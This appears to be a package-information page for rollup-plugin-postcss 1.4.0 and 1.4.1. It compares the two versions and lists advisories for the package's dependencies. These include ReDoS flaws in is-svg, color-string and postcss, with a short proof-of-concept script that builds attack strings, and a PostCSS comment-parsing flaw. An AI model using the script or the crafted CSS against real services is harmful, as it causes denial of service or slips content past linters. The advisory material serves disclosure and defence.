Rollup-plugin-postcss offers developers seamless integration between Rollup, a popular JavaScript module bundler, and PostCSS, a powerful tool for transforming CSS with JavaScript. Versions 1.4.0 and 1.4.1 share the same core functionality, providing utilities to process CSS files directly within a Rollup workflow, allowing developers to leverage PostCSS's extensive plugin ecosystem. This integration streamlines CSS processing, enabling modern CSS features, vendor prefixing, and other transformations directly within the bundling process.
Both versions boast identical dependencies, including essential tools like cssnano for CSS minification, postcss-modules for component-level CSS scoping, and style-inject for injecting styles into the DOM. Similarly, development dependencies such as Autoprefixer, Babel-jest, and ESLint-config-rem remain consistent, indicating a stable development environment and consistent testing and linting practices. The core functionality and intended usage remain the same - process CSS with PostCSS during Rollup bundling.
The key difference lies in the file count and unpacked size. Version 1.4.1 shows a slight increase, with 10 files totaling 35574 bytes unpacked whereas version 1.4.0 has only 5 files and 35464 bytes unpacked. This points towards possibly refactoring the file structure or the inclusion of additional assets in the patch release and it might indicate bug fixing. Release date also distinguishes the two versions, with 1.4.1 being released on March 29, 2018, and 1.4.0 on March 18, 2018, implying that version 1.4.1 is a patch release addressing some issues in 1.4.0.
All the vulnerabilities related to the version 1.4.1 of the package
Regular Expression Denial of Service (ReDoS)
The is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.
ReDOS in IS-SVG
A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.